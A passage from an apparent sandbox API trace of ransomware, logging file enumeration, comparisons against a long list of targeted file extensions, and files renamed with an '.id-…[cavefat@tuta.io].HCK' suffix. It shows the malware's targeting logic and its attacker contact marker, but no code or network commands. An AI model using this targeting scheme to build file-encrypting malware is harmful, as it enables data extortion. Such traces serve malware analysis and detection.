ftCreationTime.dwLowDateTime=0xa3bad51b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bad51b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3bad51b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="STRING~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bad51b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bad51b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3bd378b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bd378b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bd378b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3bd378b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WATERM~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xa5f81900, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~1.HCK")) returned 1 [0224.498] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xa556b487, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~2.HCK")) returned 1 [0224.498] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xa63d3d3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~3.HCK")) returned 1 [0224.498] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa60fefb8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~4.HCK")) returned 1 [0224.498] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa60fefb8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~4.HCK")) returned 0 [0224.498] FindClose (in: hFindFile=0x573628 | out: hFindFile=0x573628) returned 1 [0224.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.499] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0224.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.499] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.527] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.528] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0224.528] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0224.528] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0224.528] lstrlenW (lpString="BCD.LOG1") returned 8 [0224.528] lstrlenW (lpString=".1cd") returned 4 [0224.528] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".3ds") returned 4 [0224.528] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".3fr") returned 4 [0224.528] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".3g2") returned 4 [0224.528] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".3gp") returned 4 [0224.528] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".7z") returned 3 [0224.528] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0224.528] lstrlenW (lpString=".accda") returned 6 [0224.528] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0224.528] lstrlenW (lpString=".accdb") returned 6 [0224.528] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0224.528] lstrlenW (lpString=".accdc") returned 6 [0224.528] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0224.528] lstrlenW (lpString=".accde") returned 6 [0224.528] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0224.528] lstrlenW (lpString=".accdt") returned 6 [0224.528] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0224.528] lstrlenW (lpString=".accdw") returned 6 [0224.528] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0224.528] lstrlenW (lpString=".adb") returned 4 [0224.528] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".adp") returned 4 [0224.528] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0224.528] lstrlenW (lpString=".ai") returned 3 [0224.528] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0224.528] lstrlenW (lpString=".ai3") returned 4 [0224.528] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".ai4") returned 4 [0224.529] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".ai5") returned 4 [0224.529] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".ai6") returned 4 [0224.529] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".ai7") returned 4 [0224.529] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".ai8") returned 4 [0224.529] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".anim") returned 5 [0224.529] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0224.529] lstrlenW (lpString=".arw") returned 4 [0224.529] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".as") returned 3 [0224.529] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0224.529] lstrlenW (lpString=".asa") returned 4 [0224.529] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".asc") returned 4 [0224.529] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".ascx") returned 5 [0224.529] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0224.529] lstrlenW (lpString=".asm") returned 4 [0224.529] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".asmx") returned 5 [0224.529] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0224.529] lstrlenW (lpString=".asp") returned 4 [0224.529] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".aspx") returned 5 [0224.529] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0224.529] lstrlenW (lpString=".asr") returned 4 [0224.529] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".asx") returned 4 [0224.529] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".avi") returned 4 [0224.529] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".avs") returned 4 [0224.529] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".backup") returned 7 [0224.529] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0224.529] lstrlenW (lpString=".bak") returned 4 [0224.529] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".bay") returned 4 [0224.529] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".bd") returned 3 [0224.529] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0224.529] lstrlenW (lpString=".bin") returned 4 [0224.529] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".bmp") returned 4 [0224.529] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".bz2") returned 4 [0224.529] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".c") returned 2 [0224.529] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0224.529] lstrlenW (lpString=".cdr") returned 4 [0224.529] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0224.529] lstrlenW (lpString=".cer") returned 4 [0224.530] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cf") returned 3 [0224.530] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0224.530] lstrlenW (lpString=".cfc") returned 4 [0224.530] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cfm") returned 4 [0224.530] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cfml") returned 5 [0224.530] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0224.530] lstrlenW (lpString=".cfu") returned 4 [0224.530] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".chm") returned 4 [0224.530] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cin") returned 4 [0224.530] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".class") returned 6 [0224.530] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0224.530] lstrlenW (lpString=".clx") returned 4 [0224.530] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".config") returned 7 [0224.530] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0224.530] lstrlenW (lpString=".cpp") returned 4 [0224.530] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cr2") returned 4 [0224.530] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".crt") returned 4 [0224.530] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".crw") returned 4 [0224.530] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cs") returned 3 [0224.530] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0224.530] lstrlenW (lpString=".css") returned 4 [0224.530] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".csv") returned 4 [0224.530] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".cub") returned 4 [0224.530] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dae") returned 4 [0224.530] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dat") returned 4 [0224.530] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".db") returned 3 [0224.530] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0224.530] lstrlenW (lpString=".dbf") returned 4 [0224.530] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dbx") returned 4 [0224.530] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dc3") returned 4 [0224.530] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dcm") returned 4 [0224.530] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dcr") returned 4 [0224.530] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".der") returned 4 [0224.530] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0224.530] lstrlenW (lpString=".dib") returned 4 [0224.530] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dic") returned 4 [0224.531] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dif") returned 4 [0224.531] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".divx") returned 5 [0224.531] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".djvu") returned 5 [0224.531] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".dng") returned 4 [0224.531] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".doc") returned 4 [0224.531] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".docm") returned 5 [0224.531] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".docx") returned 5 [0224.531] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".dot") returned 4 [0224.531] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dotm") returned 5 [0224.531] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".dotx") returned 5 [0224.531] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".dpx") returned 4 [0224.531] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dqy") returned 4 [0224.531] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dsn") returned 4 [0224.531] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dt") returned 3 [0224.531] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0224.531] lstrlenW (lpString=".dtd") returned 4 [0224.531] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dwg") returned 4 [0224.531] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dwt") returned 4 [0224.531] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".dx") returned 3 [0224.531] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0224.531] lstrlenW (lpString=".dxf") returned 4 [0224.531] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".edml") returned 5 [0224.531] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".efd") returned 4 [0224.531] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".elf") returned 4 [0224.531] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".emf") returned 4 [0224.531] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".emz") returned 4 [0224.531] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".epf") returned 4 [0224.531] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".eps") returned 4 [0224.531] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1 [0224.531] lstrlenW (lpString=".epsf") returned 5 [0224.531] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1 [0224.531] lstrlenW (lpString=".epsp") returned 5 [0224.532] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1 [0224.532] lstrlenW (lpString=".erf") returned 4 [0224.532] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".exr") returned 4 [0224.532] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".f4v") returned 4 [0224.532] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".fido") returned 5 [0224.532] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1 [0224.532] lstrlenW (lpString=".flm") returned 4 [0224.532] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".flv") returned 4 [0224.532] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".frm") returned 4 [0224.532] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".fxg") returned 4 [0224.532] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".geo") returned 4 [0224.532] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".gif") returned 4 [0224.532] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".grs") returned 4 [0224.532] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".gz") returned 3 [0224.532] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1 [0224.532] lstrlenW (lpString=".h") returned 2 [0224.532] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1 [0224.532] lstrlenW (lpString=".hdr") returned 4 [0224.532] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".hpp") returned 4 [0224.532] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".hta") returned 4 [0224.532] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".htc") returned 4 [0224.532] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".htm") returned 4 [0224.532] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".html") returned 5 [0224.532] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1 [0224.532] lstrlenW (lpString=".icb") returned 4 [0224.532] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".ics") returned 4 [0224.532] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".iff") returned 4 [0224.532] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".inc") returned 4 [0224.532] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".indd") returned 5 [0224.532] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1 [0224.532] lstrlenW (lpString=".ini") returned 4 [0224.532] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".iqy") returned 4 [0224.532] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".j2c") returned 4 [0224.532] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1 [0224.532] lstrlenW (lpString=".j2k") returned 4 [0224.532] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".java") returned 5 [0224.533] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1 [0224.533] lstrlenW (lpString=".jp2") returned 4 [0224.533] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".jpc") returned 4 [0224.533] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".jpe") returned 4 [0224.533] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".jpeg") returned 5 [0224.533] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1 [0224.533] lstrlenW (lpString=".jpf") returned 4 [0224.533] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".jpg") returned 4 [0224.533] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".jpx") returned 4 [0224.533] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".js") returned 3 [0224.533] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1 [0224.533] lstrlenW (lpString=".jsf") returned 4 [0224.533] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".json") returned 5 [0224.533] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1 [0224.533] lstrlenW (lpString=".jsp") returned 4 [0224.533] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".kdc") returned 4 [0224.533] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".kmz") returned 4 [0224.533] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".kwm") returned 4 [0224.533] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".lasso") returned 6 [0224.533] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1 [0224.533] lstrlenW (lpString=".lbi") returned 4 [0224.533] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".lgf") returned 4 [0224.533] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".lgp") returned 4 [0224.533] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".log") returned 4 [0224.533] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".m1v") returned 4 [0224.533] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".m4a") returned 4 [0224.533] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".m4v") returned 4 [0224.533] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".max") returned 4 [0224.533] 